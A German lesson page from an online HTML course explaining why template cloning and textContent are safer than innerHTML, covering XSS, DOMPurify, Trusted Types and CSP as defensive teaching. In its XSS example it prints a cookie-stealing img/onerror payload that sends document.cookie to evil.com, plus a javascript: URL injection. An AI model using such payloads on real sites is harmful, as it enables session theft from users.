Vorlagen gegenüber innerHTML: Sicherheit
Verstehen Sie, warum Vorlagen sicherer sind als das Setzen von innerHTML
Vorlagen gegenüber innerHTML: Sicherheit ist eine kostenlose HTML Academy-Lektion auf CoddyKit. Dies ist Lektion 4 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des HTML Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der HTML Academy-Kurs umfasst insgesamt 4 Lektionen.
Injectionsrisiko bei innerHTML
Wenn Sie el.innerHTML = userInput setzen, wird der String als HTML geparst. Enthält userInput <script> oder Event-Handler wie onerror, führt der Browser sie aus – dadurch entsteht eine Cross-Site-Scripting-(XSS)-Schwachstelle.
XSS über innerHTML: Beispiel
Ein Angreifer übermittelt einen Benutzernamen: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Wird dieser mit innerHTML gerendert, wird onerror ausgelöst und das Sitzungscookie nach außen übertragen. Textinhalt wird zu ausführbarem Code.
textContent ist sicher
el.textContent = userInput behandelt den String als reinen Text – kein HTML-Parsen und keine Skriptausführung. Der Browser maskiert < und > in Textknoten automatisch. Verwenden Sie für von Benutzern bereitgestellte Werte immer textContent.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;Das template-Element vermeidet das Parsen von Strings
Bei der Verwendung von template.cloneNode(true) stammt die Struktur aus einem vorgeparsten HTML-Template – nicht aus einem von Benutzern bereitgestellten String. Wenn Sie Werte über textContent in geklonten Knoten setzen, bleiben Benutzerdaten in Textknoten und gelangen niemals in geparstes HTML. Struktur und Daten sind getrennt.
Sanitization bei notwendiger Verwendung von innerHTML
Wenn HTML-Formatierung durch Benutzer erforderlich ist (Rich Text), müssen Sie den Inhalt vor dem Setzen von innerHTML bereinigen. DOMPurify ist die Standardbibliothek: el.innerHTML = DOMPurify.sanitize(richHtml). Sie entfernt gefährliche Tags und Attribute und bewahrt gleichzeitig sichere Formatierungen.
Risiko bei insertAdjacentHTML
insertAdjacentHTML("beforeend", html) parst ebenfalls HTML-Strings – mit demselben XSS-Risiko wie innerHTML. Wenden Sie dieselben Regeln zur Bereinigung an. Die sicherere Alternative: Erstellen Sie Elemente mit createElement, setzen Sie deren textContent und verwenden Sie appendChild.
Sicherheit von setAttribute
Das Setzen von Attributen mit Benutzerdaten kann zu einer Injection führen: el.setAttribute("href", userUrl), wobei userUrl javascript:alert(1) ist, erzeugt eine XSS-Schwachstelle. Validieren Sie URL-Schemata: Erlauben Sie nur http:, https: und mailto:, bevor Sie href- oder src-Attribute setzen.
DOM-Clobbering
DOM-Clobbering ist ein Angriff, bei dem benannte Formularelemente (id="getElementById") globale JavaScript-Variablen überschreiben. Greifen Sie immer über document.getElementById() auf Elemente zu und nicht über globale Eigenschaften von window. Eine Content Security Policy wirkt ebenfalls gegen Clobbering-Angriffe.
Trusted-Types-Richtlinie
Trusted Types (Chrome, über CSP erzwungen) verlangt, dass innerHTML, insertAdjacentHTML und ähnliche Senken Strings erhalten, die in eine Richtlinie eingeschlossen wurden. Rohe Strings können nicht zugewiesen werden – nur Werte, die von einer deklarierten TrustedTypes-Richtlinie erstellt wurden. Dadurch wird verhindert, dass die Bereinigung versehentlich umgangen wird.
Sicherheit von DocumentFragment
Das Erstellen von Elementen mit der DOM-API (createElement, createTextNode) und deren Bearbeitung in einem DocumentFragment ist von Natur aus XSS-sicher – Text bleibt immer Text und wird niemals als HTML geparst. DocumentFragments sind die sicherste Methode, um komplexe dynamische Benutzeroberflächen zu erstellen.
Content Security Policy
Eine strikte CSP (kein unsafe-inline, Scripts mit Nonce) bietet zusätzlichen Schutz gegen XSS. Selbst wenn ein Angreifer HTML einschleust, verhindert die CSP die Ausführung eingeschleuster Skripte. Eine CSP macht eine Bereinigung nicht überflüssig – sie ist ein Sicherheitsnetz und keine primäre Schutzmaßnahme.
Wissensüberprüfung
Warum ist textContent beim Rendern von durch Benutzer bereitgestellten Daten sicherer als innerHTML?
Zusammenfassung
innerHTML und verwandte APIs parsen HTML-Strings und erzeugen XSS-Schwachstellen, wenn Benutzerdaten ohne Bereinigung interpoliert werden. Die Verwendung von textContent, das Klonen von Templates mit dem Befüllen über textContent, DOMPurify für Rich Text und eine Content Security Policy bilden einen mehrschichtigen Schutz gegen HTML-Injection-Angriffe.
Häufig gestellte Fragen
Ist die Lektion „Vorlagen gegenüber innerHTML: Sicherheit“ kostenlos?
Ja — der vollständige Text von „Vorlagen gegenüber innerHTML: Sicherheit“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des HTML Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der HTML Academy-Kurs umfasst insgesamt 4 Lektionen.
Was lerne ich in „Vorlagen gegenüber innerHTML: Sicherheit“?
Verstehen Sie, warum Vorlagen sicherer sind als das Setzen von innerHTML Du übst HTML Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.
Brauche ich Erfahrung, um HTML Academy zu starten?
Keine Vorkenntnisse erforderlich. HTML Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 4 von 4.
Wie lange dauert die Lektion „Vorlagen gegenüber innerHTML: Sicherheit“?
Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.
Kann ich in dieser HTML Academy-Lektion Code schreiben und ausführen?
Ja. Jede HTML Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.
Alle Lektionen in diesem Kurs
- Das template-Element: inaktive Inhalte
- Vorlagen mit cloneNode klonen
- template für das Rendern mit JavaScript verwenden
- Vorlagen gegenüber innerHTML: Sicherheit